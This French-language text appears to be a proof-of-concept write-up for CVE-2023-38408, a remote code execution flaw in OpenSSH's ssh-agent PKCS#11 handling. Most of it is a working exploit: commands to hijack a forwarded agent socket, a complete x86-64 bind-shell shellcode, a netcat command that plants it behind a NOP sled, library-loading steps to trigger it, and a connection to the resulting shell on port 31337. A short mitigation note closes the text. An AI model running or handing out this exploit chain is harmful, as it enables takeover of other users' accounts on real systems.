
Prise de contrôle de compte OpenSSH
Une vulnérabilité a été trouvée dans OpenSSH (avant la version 9.3p2). La fonctionnalité PKCS#11 de ssh-agent dans OpenSSH présente un chemin de recherche insuffisamment fiable, conduisant à une exécution de code à distance si un agent est transféré vers un système contrôlé par l'attaquant (le code dans /usr/lib n'est pas nécessairement sûr à charger dans ssh-agent). Cette faille permet à un attaquant qui contrôle la socket de l'agent transféré sur le serveur et qui peut écrire sur le système de fichiers de la machine cliente d'exécuter du code arbitraire avec les privilèges de l'utilisateur exécutant ssh-agent.
Dans l'exemple ci-dessous, nous pouvons brièvement observer les étapes allant de l'exploration à la compromission de l'utilisateur alice.
Comme mentionné précédemment, dans ce POC nous utiliserons 2 utilisateurs connectés à un serveur via SSH. Pour suivre les étapes ci-dessous, nous supposons que les 2 utilisateurs ont déjà accès au serveur (SSH).
echo /tmp/ssh-*/agent.*
export SSH_AUTH_SOCK=/tmp/ssh-NqLP6il36s/agent.3452
ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub
SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
(perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"
Enfin, appuyez sur Ctrl-C pour arrêter le transfert netcat une fois le shellcode correctement placé dans la mémoire de l'agent.
[!NOTE] Déclenchement de SIGSEGV 💬
SIGSEGV est un signal connu d'un processus informatique émis >lorsqu'une référence mémoire invalide (erreur de segmentation) se produit. Lors de la réception du signal SIGSEGV, le noyau reconnaît qu'un accès mémoire invalide s'est produit et procède à l'invocation du gestionnaire de signal personnalisé plutôt que de terminer brutalement le programme. Ce faisant, l'attaquant saisit l'opportunité de manipuler l'exécution du programme et de l'orienter vers le code malveillant injecté situé dans le NOP sled.
ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
[Enter for passphrase]
nc localhost 31337
La vulnérabilité affecte principalement les systèmes où l'agent SSH d'OpenSSH est utilisé et où la fonction de transfert de l'agent est activée. Les organisations et les particuliers qui dépendent d'OpenSSH doivent rapidement évaluer leurs configurations pour déterminer une exposition potentielle. Si votre système répond aux conditions mentionnées, il est crucial de prendre des mesures immédiates pour atténuer le risque associé à CVE-2023-38408.